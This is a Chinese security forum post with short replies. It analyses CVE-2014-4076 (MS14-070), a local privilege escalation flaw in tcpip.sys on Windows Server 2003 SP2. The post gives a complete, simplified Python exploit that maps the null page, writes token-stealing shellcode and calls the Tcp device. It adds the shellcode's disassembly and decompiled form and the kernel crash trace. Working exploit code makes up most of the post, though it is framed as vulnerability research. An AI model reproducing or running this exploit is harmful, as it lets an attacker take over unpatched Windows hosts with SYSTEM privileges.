首页
社区
课程
招聘
CVE-2014-4076 tcpipsys 提权漏洞的分析
发表于: 2015-3-12 11:19 5544

CVE-2014-4076 tcpipsys 提权漏洞的分析

2015-3-12 11:19
5544

一、        概述:
Win2k3,sp2
Python2.7.9
VirtualKD-2.8
Windbg,IDA6.5
Tcpip.sys版本编号:5.2.3790.3959
微软编号:MS14-070
原poc:http://www.exploit-db.com/exploits/35936/
测试MITM  Fuzz时发现此漏洞,通过搜索,已经被报告。15.1.28公开了exp。来分析一下该漏洞。

这是一个利用tcpip.sys可以提权的漏洞。本文将包括简化的EXP,跟踪该漏洞的触发机制,分析其shellcode的功能。最后对tcpip.sys的函数调用机制等内容做简要的分析。

二、        Python编写的EXP
Matt Bergin报告该漏洞时附带了用python编写的EXP。
在2.7.9下当然是跑不动的。由于python的版本可能不同,导致有几处参数传递的语法有变化。会报错。再因python的缩进约定,在HTML的传播过程中,较难确定python源码的缩进有没有被改变。

原EXP中使用多线程,全局变量等内容,不够简洁。几次尝试提权,成功率不太稳定。可能是没能理解原EXP的机制。

因此把原exp简化一下。简单的总是好理解,换掉启动进程部分的代码如下:

    process = Popen(["c:\windows\system32\cmd.exe"], shell=False)
    pid = process.pid
from optparse import OptionParser
from subprocess import Popen
from os.path import exists
from struct import pack
from threading import Thread
from time import sleep
from ctypes import *
from sys import exit
 
CreateFileA, NtAllocateVirtualMemory, WriteProcessMemory = windll.kernel32.CreateFileA, windll.ntdll.NtAllocateVirtualMemory, windll.kernel32.WriteProcessMemory
DeviceIoControlFile, CloseHandle = windll.ntdll.ZwDeviceIoControlFile, windll.kernel32.CloseHandle
INVALID_HANDLE_VALUE, FILE_SHARE_READ, FILE_SHARE_WRITE, OPEN_EXISTING, NULL = - \
    1, 2, 1, 3, 0
 
 
def main():
    print "CVE-2014-4076 x86 exploit, Level\n"
    global pid, process
    
    process = Popen(["c:\windows\system32\cmd.exe"], shell=False)
    pid = process.pid
    
    print "[+] caught attacker cmd at %s, elevating now" % (pid)

    buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"
    sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00"
    sc = sc.replace("\x41\x41\x41\x41", pack('<L', pid))
    sc = sc.replace("\x11\x11\x11\x11", "\x39\xff\xa2\xba")
    sc = sc.replace("\x22\x22\x22\x22", "\x00\x00\x00\x00")
    handle = CreateFileA("\\\\.\\Tcp", FILE_SHARE_WRITE |
                         FILE_SHARE_READ, 0, None, OPEN_EXISTING, 0, None)
    if (handle == -1):
        print "[!] could not open handle into the Tcp device"
        exit(1)
    print "[+] allocating memory"
    ret_one = NtAllocateVirtualMemory(-1, byref(c_int(0x1000)),
                                      0x0, byref(c_int(0x4000)), 0x1000 | 0x2000, 0x40)
    if (ret_one != 0):
        print "[!] could not allocate memory..."
        exit(1)
    print "[+] writing relevant memory..."
    ret_two = WriteProcessMemory(-1, 0x28,
                                 "\x87\xff\xff\x38", 4, byref(c_int(0)))
    ret_three = WriteProcessMemory(-1, 0x38, "\x00" * 2, 2, byref(c_int(0)))
    ret_four = WriteProcessMemory(-1, 0x1100, buf, len(buf), byref(c_int(0)))
    ret_five = WriteProcessMemory(-1, 0x2b, "\x00" * 2, 2, byref(c_int(0)))
    ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0)))
    print "[+] attack setup done, crane kick!"
    result = DeviceIoControlFile(handle, NULL, NULL, NULL, byref(
        c_ulong(8)), 0x00120028, 0x1100, len(buf), 0x0, 0x0)

    print "result"
    print result
    CloseHandle(handle)
    exit(0)
if __name__ == "__main__":
    main()
ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0)))
00002000 60              pushad
00002001 64a124010000    mov     eax,dword ptr fs:[00000124h]
00002007 8b4038          mov     eax,dword ptr [eax+38h]
0000200a 50              push    eax
0000200b bb04000000      mov     ebx,4
00002010 8b8098000000    mov     eax,dword ptr [eax+98h]
00002016 2d98000000      sub     eax,98h
0000201b 399894000000    cmp     dword ptr [eax+94h],ebx
00002021 75ed            jne     00002010
00002023 8bb8d8000000    mov     edi,dword ptr [eax+0D8h]  注:token偏移量是D8
00002029 83e7f8          and     edi,0FFFFFFF8h
0000202c 58              pop     eax
0000202d bbd40f0000      mov     ebx,0FD4h  注:FD4即是目标进程的ID
00002032 8b8098000000    mov     eax,dword ptr [eax+98h]
00002038 2d98000000      sub     eax,98h
0000203d 399894000000    cmp     dword ptr [eax+94h],ebx
00002043 75ed            jne     00002032
00002045 89b8d8000000    mov     dword ptr [eax+0D8h],edi  注:token偏移量是D8
0000204b 61              popad
0000204c ba39ffa2ba      mov     edx,0BAA2FF39h
00002051 b900000000      mov     ecx,0
00002056 b83b000000      mov     eax,3Bh
0000205b 8ee0            mov     fs,ax
0000205d 0f35            sysexit
0000205f 0000            add     byte ptr [eax],al
void __cdecl shellcode()
{
  int v0_EPROCESS; // eax@1
  int token; // edi@3
  int v2_EPROCESS; // eax@3
  int v3; // [sp-24h] [bp-24h]@1

  v0_EPROCESS = *(_DWORD *)(__readfsdword(292) + 56);
  v3 = v0_EPROCESS;
  do
    v0_EPROCESS = *(_DWORD *)(v0_EPROCESS + 152) - 152;
  while ( *(_DWORD *)(v0_EPROCESS + 148) != 4 );  //PID为4的System进程
  token = *(_DWORD *)(v0_EPROCESS + 0xD8) & 0xFFFFFFF8;
  v2_EPROCESS = v3;
  do
    v2_EPROCESS = *(_DWORD *)(v2_EPROCESS + 152) - 152;
  while ( *(_DWORD *)(v2_EPROCESS + 148) != 0xF80 );  //进程ID
  *(_DWORD *)(v2_EPROCESS + 0xD8) = token;
  __asm { sysexit }
}
f66bd3d7 8b86ec000000    mov     eax,dword ptr [esi+0ECh]   注:esi=0,导致EAX=0
f66bd3dd 836628bf        and     dword ptr [esi+28h],0FFFFFFBFh
f66bd3e1 8b4dfc          mov     ecx,dword ptr [ebp-4]
f66bd3e4 66ff4638        inc     word ptr [esi+38h]
f66bd3e8 8945f4          mov     dword ptr [ebp-0Ch],eax  注:前面导致EAX=0
f66bd3eb ffd3            call    ebx
f66bd3ed 57              push    edi
f66bd3ee 56              push    esi
f66bd3ef ff55f4          call    dword ptr [ebp-0Ch]  ss:0010:f5740b54=00000000 触发!

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 3
支持
分享
最新回复 (5)
雪    币: 341
活跃值: (138)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
2
标记。。。
2015-3-12 11:58
0
雪    币: 8188
活跃值: (2842)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
3
good
2015-3-12 15:12
0
雪    币: 63
活跃值: (50)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
“注:除了将Shellcode的第一字节修改为0xcc之外,由于已知shellcode所处位置是0x2000故也可以直接对0x2000下内存执行断点” , 楼主的调试技巧值得学习
2015-3-31 17:14
0
雪    币: 69
活跃值: (270)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
msf
5
向楼主致敬!
2015-4-1 17:01
0
雪    币: 22
活跃值: (242)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
6
学习了,感谢分享
2015-6-26 08:40
0
游客
登录 | 注册 方可回帖
返回
//